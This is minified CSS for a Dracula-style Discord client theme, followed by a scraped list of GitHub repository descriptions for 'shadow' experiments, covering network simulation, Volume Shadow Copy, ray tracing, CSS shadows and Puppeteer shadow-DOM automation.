.container-KM8BU6,#app-mount .reactors-1VXca7{background-color:var(--dracula-primary)}#app-mount .scroller-2GkvCq{background-color:var(--dracula-secondary)}#app-mount .reactionSelected-1aMb2K{background-color:var(--dracula-accent)}#app-mount .bd-addon-list .bd-addon-card{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}#app-mount .bd-addon-list .bd-card-footer{border-top-color:var(--dracula-tertiary)}#app-mount .bd-addon-list .bda-header{border-bottom-color:var(--dracula-tertiary)}.bd-search-wrapper{background-color:var(--dracula-secondary)}.bd-select .bd-select-options{background:var(--dracula-secondary)}.bd-select .bd-select-option:hover,.bd-select .bd-select-option.selected{background:var(--dracula-tertiary)}#bd-settingspane-container .ui-switch-item .style-description{border-bottom:none}#app-mount .container-1S70rv .sectionTag-28mLyE{background-color:var(--dracula-primary)}#app-mount .autocompleteArrow-jJE9TQ,#app-mount .header-3i_Csh{background-color:var(--dracula-secondary)}#app-mount .invite-3uuHYQ{background-color:var(--dracula-secondary);border-color:var(--dracula-tertiary)}.lookFilled-1Gx00P.colorGrey-2DXtkV:disabled{background-color:var(--dracula-primary-light)}.attachButtonPlay-1ATmb5{color:var(--dracula-accent)}.lookLink-9FtZy-.colorBrand-3pXr91{color:var(--dracula-accent)}.lookLink-9FtZy-.colorBrand-3pXr91:hover .contents-3ca1mk,.lookLink-9FtZy-.colorBrand-3pXr91:hover .contents-18-Yxp{background-image:linear-gradient(0deg, transparent, transparent 1px, var(--dracula-accent) 0, var(--dracula-accent) 2px, transparent 0)}.ephemeralMessage-11q8XZ a{color:var(--dracula-accent)}.operations-3q3u6E>a{color:var(--dracula-accent)}#app-mount .container-1ILvLB .header-2C89wJ,#app-mount .container-1ILvLB section{background-color:var(--dracula-secondary)}#app-mount .popoutList-10IFAa{background:var(--dracula-primary)}.container-2oNtJn{background-color:var(--dracula-secondary)}#app-mount .contentWrapper-3oy4Xo{background:var(--dracula-primary)}.attachedBars-2BCP3l{margin:0 20px 0 20px}.powercord-codeblock-copy-btn.copied{background-color:var(--dracula-accent) !important}.colorInfo-1kEg3T{background-color:var(--dracula-accent)}.outer-2JOHae:not(.wrapper-2RrXDg){background-color:var(--dracula-primary)}.containerUserOver-SDa1HW:after{background-color:var(--dracula-accent-alpha);border:2px solid var(--dracula-accent-alpha-alt2)}#app-mount .path2-F-M5gP,#app-mount .path-lhsLSV{stroke:var(--dracula-accent)}#app-mount .path3-3tVOpU{stroke:var(--dracula-accent-dark)}#app-mount .categoryFadeBlurple-1HuV1x{background-color:rgba(189,147,249,.8)}#app-mount .categoryFadeBlurple-1HuV1x:hover{background-color:rgba(189,147,249,.95)}#app-mount .result-3OpoO7:hover:after{-webkit-box-shadow:inset 0 0 0 2px var(--dracula-accent),inset 0 0 0 3px var(--dracula-secondary);box-shadow:inset 0 0 0 2px var(--dracula-accent),inset 0 0 0 3px var(--dracula-secondary)}#app-mount .authBox-1HR6Ha{background:var(--dracula-primary)}.avatarUploaderInner-yEhTv5{background-color:var(--dracula-accent)}html.theme-light #app-mount::after{content:"You need to have dark theme enabled for dracula to work properly. To enable it, go into Settings -> Appearance";background:var(--dracula-tertiary);position:fixed;z-index:5;right:0;bottom:0;display:flex;align-items:center;max-width:250px;line-height:normal;padding:15px 0 15px 60px;margin-right:10px;margin-bottom:10px;border-left:3px solid #f04747;border-radius:3px;color:rgba(255,255,255,.65);background-image:url(data:image/svg+xml;base64,PHN2ZyBmaWxsPSIjRkZGRkZGIiBoZWlnaHQ9IjI0IiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4gICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPiAgICA8cGF0aCBkPSJNMSAyMWgyMkwxMiAyIDEgMjF6bTEyLTNoLTJ2LTJoMnYyem0wLTRoLTJ2LTRoMnY0eiIvPjwvc3ZnPg==);background-repeat:no-repeat;background-size:35px;background-position:10px center}.active-WHsd77{background-color:var(--dracula-accent) !important}.progressBar-1T6LYX{background-color:var(--dracula-accent) !important}.layerContainer-2v_Sit .layer-2aCOJ3[style*="position: absolute; left: 100px;"]{left:72px !important}.container-1ILvLB{width:240px;box-shadow:0 8px 16px rgba(0,0,0,.24)}.layerContainer-2v_Sit .layer-2aCOJ3[style*="position: absolute; left: 100px;"] .container-1ILvLB header{background-color:var(--toast-header)}.layerContainer-2v_Sit .layer-2aCOJ3[style*="position: absolute; left: 100px;"] .container-1ILvLB section{background-color:var(--deprecated-panel-background)}.container-1ILvLB section p:nth-of-type(1){font-size:0}.container-1ILvLB section p:nth-of-type(2){display:none}.container-1ILvLB section strong{font-size:14px;white-space:pre}.container-1ILvLB section strong::before{font-weight:normal}.container-1ILvLB section strong:nth-of-type(1)::before{content:"Server: "}.container-1ILvLB section strong:nth-of-type(2)::before{content:"Average Ping: "}.container-1ILvLB section strong:nth-of-type(3)::before{content:"Last Ping: "}.container-1ILvLB section strong:nth-of-type(4)::before{content:"Packet Loss: "}.iconBadge-3qSJIw{background-color:#43b581}.iconBadge-3qSJIw.participating-1NvRVd{background-color:var(--dracula-accent)}.container-3NTP7o{border-radius:25px}.userSettingsVoice-1_dzjw,.container-3NTP7o{width:auto !important}.theme-dark .notches-2w7UZJ.gray-3wP137{display:none}.theme-dark .progress-1S-TDF,.theme-light .progress-1S-TDF{background:var(--dracula-primary)}.micTestCaption-3wFDcZ{top:32px;left:148px}.micTestButton-1Qz8Oq{width:140px}#app-mount .item-3XjbnG[data-item-id=bdCompat],#app-mount .item-3XjbnG[data-item-id=theme-toggler]{order:1}.item-3XjbnG[data-item-id=pc-moduleManager-plugins]~div{order:2}.icon-2W8DHg{width:15px}#app-mount .wrapper-1ZcZW-{border-radius:5px;padding-top:2px;padding-right:3px;padding-bottom:2px;font-size:.9em}.channelIcon-3I2O7O{width:1em;height:1em;top:.4em}.mention.iconMentionText-1_WCtN{padding-left:1rem}.BIV-zoom-lens{border:solid var(--dracula-accent) !important}.BIV-zoom-lens-round{border:2px solid var(--dracula-accent) !important}.top-K_jibn .brand-3g5E0C.item-3XjbnG:hover{border-bottom-color:var(--dracula-accent)}.has-vpc .content-2hZxGK{background-color:var(--dracula-primary) !important}.reaction-2A2y9y.reactionMe-3I9gFK{border-color:var(--dracula-accent)}.reaction-2A2y9y:hover{border-color:var(--dracula-accent)}#app-mount .wrapper-1ZcZW-{background-color:var(--dracula-accent-alpha)}#app-mount .contentWarningPopout-WKdbDG{background-color:var(--dracula-secondary)}.checkbox-f1HnKB{border-color:var(--dracula-accent) !important;background-color:var(--dracula-accent) !important}::selection{background-color:var(--dracula-accent-dark)}.premiumTabItem-1QTfBr[aria-selected=true]{background-color:var(--dracula-accent) !important}.premiumTabItem-1QTfBr[aria-selected=true]:hover{background-color:var(--dracula-accent-light) !important}.side-2ur1Qk>.item-3XjbnG[data-item-id=DiscordNitro]:not(.role-3pGE29)::before{--settings-icon-color: #ffffff}.PronounDB-style-container .PronounDB-style-header{color:var(--dracula-accent)}.theme-dark .newPopoutActivityStyles button,.theme-dark .newProfileActivityStyles button,.theme-light .newPopoutActivityStyles button,.theme-light .newProfileActivityStyles button{color:#fff}.container-2o3qEW{background-color:var(--dracula-primary)}.button-y6hemj[disabled]>.innerButton-1aF_E_>.buttonChild-33lB5F,.buttonChild-33lB5F{color:var(--dracula-accent)}
cohosh
Extension of tornettools for running Shadow experiments with pluggable transports
siposcsaba89
Shadow removal experiment
grishinpv
POC experiments with Volume Shadow copy Service (VSS)
abhitoronto
This repository contains the scripts and results of running HER+DDPG experiments on the shadow dexterous hand.
HarwinBorger
Experiment: Shadow lights combined with walls
Experiment trying to emulate the encapsulation of the shadow DOM
sickdyd
Experimenting with css box-shadow and transitions to create an interactive background on mouse hover.
divyanshu-talwar
Implement a raytracer and simulate real-life light interactions with objects (like shadows/reflections) while experimenting with rendering objects made up of different materials (like dielectrics or specular).
This project is an experiment showing how to use an extension to access and index certain HTML/DOM tags on a webpage, build those into lists and connect to puppeteer in off-extension files. From there you can bypass the DOM by using shadowRoot and ShadowDOM manipulations to assign these links nodes on the shadow dom. Puppeteer can then click and manipulate the extension from outside the browser to click/navigate certain tags and objects without needing to know explicit DOM paths.